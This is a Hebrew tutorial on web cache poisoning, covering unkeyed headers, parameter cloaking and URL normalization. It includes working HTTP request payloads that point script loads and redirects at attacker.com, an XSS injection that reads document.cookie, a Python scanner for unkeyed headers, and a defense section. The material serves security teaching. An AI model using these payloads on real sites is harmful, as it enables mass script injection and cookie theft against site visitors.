הCache Poisoning - Web Cache Poisoning¶
מבוא¶
הCache Poisoning (Web Cache Poisoning) היא תקיפה שבה התוקף מנצל את מנגנון הcache של אפליקציית אינטרנט כדי להגיש תוכן זדוני למשתמשים אחרים. התוקף שולח בקשה מעוצבת שגורמת לשרת להחזיר תגובה זדונית, והתגובה נשמרת בcache ומוגשת לכל מבקר שמבקש את אותו משאב.
הסכנה בתקיפה זו היא שהיא יכולה להשפיע על מספר גדול של משתמשים ללא צורך באינטראקציה ישירה עם כל אחד מהם.
איך cache אינטרנט עובד¶
שרשרת הcache¶
כשהcache מקבל בקשה, הוא בודק אם כבר יש לו תגובה מתאימה. אם כן - הוא מחזיר אותה ישירות. אם לא - הוא מעביר את הבקשה לשרת, שומר את התגובה ומחזיר אותה.
מפתח cache - Cache Key¶
הcache קובע אם שתי בקשות "זהות" לפי מפתח הcache. בדרך כלל המפתח כולל:
Typical cache key:
- HTTP method (GET)
- Path (/page)
- Query parameters (?id=1)
- Host header
Not included in the key (usually):
- Other headers (X-Forwarded-Host, User-Agent...)
- Cookies
- Request body
זיהוי התנהגות cache¶
הheaders תגובה שמצביעות על cache:
HTTP/1.1 200 OK
X-Cache: miss # the request was not in the cache
X-Cache: hit # the request was served from the cache
Age: 120 # how many seconds the response has been in the cache
Cache-Control: max-age=3600, public
Vary: Accept-Encoding # the key also includes the Accept-Encoding header
עקרון התקיפה¶
התקיפה מבוססת על headers שאינן במפתח (unkeyed inputs) שמשפיעות על התגובה:
1. An attacker sends a request with a special header that affects the response
2. The server returns a response that contains the value from the header
3. The cache stores the response (the header is not in the key, so it doesn't know the response is "poisoned")
4. Regular users request the same path and receive the malicious response from the cache
גילוי headers שאינן במפתח עם Param Miner¶
הרחבת Param Miner ל-Burp Suite מזהה אוטומטית headers ופרמטרים שאינם במפתח הcache:
1. Install Param Miner from the BApp Store
2. Right-click a request -> Extensions -> Param Miner
3. Choose:
- Guess headers: search for headers not in the key
- Guess cookies: search for cookies not in the key
- Guess params: search for parameters not in the key
4. Check the log in Dashboard/Output
הכלי שולח בקשות עם headers שונות (כמו X-Forwarded-Host, X-Original-URL ועוד) ובודק אם הערך מופיע בתגובה.
הPoisoning דרך X-Forwarded-Host¶
הheader X-Forwarded-Host משמשת לזיהוי ה-Host המקורי כשבקשה עוברת דרך proxy. אם השרת משתמש בheader זו ליצירת לינקים בתגובה, אפשר להרעיל:
דוגמה¶
בקשה רגילה:
GET /en HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
<script src="https://vulnerable-website.com/resources/js/main.js"></script>
בקשה עם X-Forwarded-Host:
GET /en HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
<script src="https://attacker.com/resources/js/main.js"></script>
אם הheader לא במפתח הcache, התגובה הזדונית תישמר ותוגש לכל מבקר ב-/en.
שלבי התקיפה המלאים¶
1. Send GET /en with X-Forwarded-Host: attacker.com
2. Make sure the response contains attacker.com (X-Cache: miss)
3. Send again without the header and check the response still contains attacker.com (X-Cache: hit)
4. Host malicious JavaScript at attacker.com/resources/js/main.js
5. Every visitor to the site will load the malicious script
הPoisoning דרך X-Forwarded-Scheme¶
הheader X-Forwarded-Scheme (או X-Forwarded-Proto) מציינת את הפרוטוקול המקורי. שרתים משתמשים בה להפניית HTTP ל-HTTPS:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Scheme: http
HTTP/1.1 301 Moved Permanently
Location: https://vulnerable-website.com/
שילוב עם X-Forwarded-Host:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Scheme: http
X-Forwarded-Host: attacker.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/
אם שתי הheaders אינן במפתח, כל מבקר בדף הבית יופנה לאתר התוקף.
הPoisoning דרך X-Original-URL ו-X-Rewrite-URL¶
הheaders אלו משנות את הנתיב הפנימי שהאפליקציה מעבדת:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Original-URL: /admin
HTTP/1.1 200 OK
(content of /admin)
הבקשה נשלחת ל-/ (מפתח הcache), אבל השרת מעבד את /admin. התגובה של /admin נשמרת בcache עבור /.
בקשות GET עם גוף - Fat GET Requests¶
בקשות GET לא אמורות לכלול גוף, אבל חלק מהשרתים מעבדים אותו:
GET /search?q=test HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
q=<script>alert(1)</script>
אם השרת מעדיף את הפרמטר מהגוף על זה מה-URL, ומפתח הcache כולל רק את ה-URL:
כל מי שמחפש "test" יקבל XSS.
הסתרת פרמטרים - Parameter Cloaking¶
שרתים שונים מפרשים query string בצורות שונות. ניתן לנצל את ההבדלים:
מפריד נקודה-פסיק¶
הcache רואה: q=test;evil_param=... (פרמטר אחד)
השרת רואה: q=test ו-evil_param=<script>alert(1)</script> (שני פרמטרים)
פרמטר כפול¶
הcache משתמש בערך הראשון למפתח, השרת משתמש באחרון.
פרמטר UTM¶
חלק מהcaches מתעלמים מפרמטרי UTM במפתח, אבל השרת כולל אותם בתגובה.
הPoisoning דרך פרמטרי query שאינם במפתח¶
חלק מהcaches מתעלמים מפרמטרי query מסוימים או מכולם:
הcache שמתעלם מכל הפרמטרים¶
מפתח הcache: GET /page (ללא הפרמטרים)
התגובה מכילה את הפרמטר בתוך ה-HTML.
זיהוי באמצעות cache buster¶
# Request 1 - with cache buster
GET /page?cb=random123&evil=payload HTTP/1.1
X-Cache: miss
# Request 2 - same cache buster, without evil
GET /page?cb=random123 HTTP/1.1
X-Cache: hit # served from the cache - evil is not in the key!
הPoisoning עם מספר headers¶
לפעמים נדרש שילוב של מספר headers:
GET /page HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
הheader X-Forwarded-Scheme: nothttps גורמת להפניה, ו-X-Forwarded-Host: attacker.com קובעת את יעד ההפניה.
הPoisoning דרך הבדלי נרמול URL¶
הcaches ושרתים עשויים לנרמל URL-ים בצורות שונות:
הEncoding אחוזים¶
נקודות בנתיב¶
GET /page/..%2fadmin HTTP/1.1
# The cache stores under /page/..%2fadmin
# The server processes /admin
לוכסן כפול¶
הPoisoning ממוקדת - header Vary¶
הheader Vary מוסיפה headers נוספות למפתח הcache:
המשמעות: הcache שומר גרסה נפרדת לכל User-Agent. ניתן לנצל זאת לpoisoning ממוקדת:
1. Find the victim's User-Agent (for example via XSS)
2. Send a request with the same User-Agent + malicious payload
3. Only the victim will receive the poisoned response
דוגמה מלאה - Cache Poisoning ל-XSS¶
שלב 1 - זיהוי header שאינה במפתח¶
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: test123.com
HTTP/1.1 200 OK
X-Cache: miss
...
<link rel="canonical" href="https://test123.com/"/>
שלב 2 - אישור שהcache שומר את התגובה¶
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Cache: hit
...
<link rel="canonical" href="https://test123.com/"/>
שלב 3 - injection XSS¶
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script>
HTTP/1.1 200 OK
...
<link rel="canonical" href="https://"></link><script>alert(document.cookie)</script>/"/>
שלב 4 - אישור שה-XSS בcache¶
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Cache: hit
...
<link rel="canonical" href="https://"></link><script>alert(document.cookie)</script>/"/>
כל מבקר בדף הבית יקבל את ה-XSS.
סקריפט אוטומציה¶
#!/usr/bin/env python3
"""
Basic script for detecting cache poisoning
"""
import requests
import random
import string
import time
def generate_cache_buster():
"""Generate a random cache buster"""
return ''.join(random.choices(string.ascii_lowercase, k=8))
def check_unkeyed_header(url, header_name, header_value):
"""Check whether a header is not in the cache key"""
cb = generate_cache_buster()
test_url = f"{url}?cb={cb}"
# Request 1 - with the header
headers = {header_name: header_value}
resp1 = requests.get(test_url, headers=headers)
if header_value not in resp1.text:
return False, "The value does not appear in the response"
# Short wait
time.sleep(0.5)
# Request 2 - without the header
resp2 = requests.get(test_url)
if header_value in resp2.text:
cache_header = resp2.headers.get('X-Cache', 'unknown')
return True, f"Header {header_name} is not in the key! (X-Cache: {cache_header})"
return False, "The value was not saved in the cache"
def scan_target(url):
"""Scan a target for headers not in the key"""
headers_to_test = [
("X-Forwarded-Host", "cache-poison-test.com"),
("X-Host", "cache-poison-test.com"),
("X-Forwarded-Server", "cache-poison-test.com"),
("X-Forwarded-Scheme", "nothttps"),
("X-Forwarded-Proto", "nothttps"),
("X-Original-URL", "/cache-poison-test"),
("X-Rewrite-URL", "/cache-poison-test"),
]
print(f"[*] Scanning {url}")
print("-" * 50)
for header_name, header_value in headers_to_test:
vulnerable, message = check_unkeyed_header(
url, header_name, header_value
)
status = "[+]" if vulnerable else "[-]"
print(f"{status} {header_name}: {message}")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python3 cache_poison.py <url>")
sys.exit(1)
scan_target(sys.argv[1])
הגנה¶
1. אל תכלילו קלט שאינו במפתח בתגובה¶
- If a header affects the response, add it to the cache key
- Or don't use the header at all in the response logic
2. הגדרת Cache-Control נכונה¶
# Dynamic pages with personal information
Cache-Control: no-store, private
# Static resources
Cache-Control: public, max-age=31536000, immutable
3. ולידציה מודעת-cache¶
# If you must use the X-Forwarded-Host header
allowed_hosts = ["www.example.com", "example.com"]
forwarded_host = request.headers.get("X-Forwarded-Host", "")
if forwarded_host and forwarded_host not in allowed_hosts:
forwarded_host = "www.example.com" # safe default
4. שימוש ב-Vary¶
# If the response depends on a specific header, add it to Vary
Vary: X-Forwarded-Host, Accept-Encoding
5. בדיקה תקופתית¶
- Scan with Param Miner regularly
- Check every change in the CDN/Cache configuration
- Make sure the cache key includes all inputs that affect the response
סיכום¶
הCache Poisoning היא תקיפה שמשפיעה על כל מבקרי האתר, לא רק על הקורבן הישיר. היא מנצלת את הפער בין מה שהcache מחשיב כ"אותה בקשה" לבין מה שבאמת משפיע על התגובה. נקודות מפתח:
- הheaders שאינן במפתח הcache הן וקטור התקיפה העיקרי
- כלי Param Miner חיוני לגילוי headers ופרמטרים שאינם במפתח
- הPoisoning יכולה להוביל ל-XSS, הפניות פתוחות, ומניפולציה של תוכן
- ההגנה דורשת התאמה בין מפתח הcache לקלטים שמשפיעים על התגובה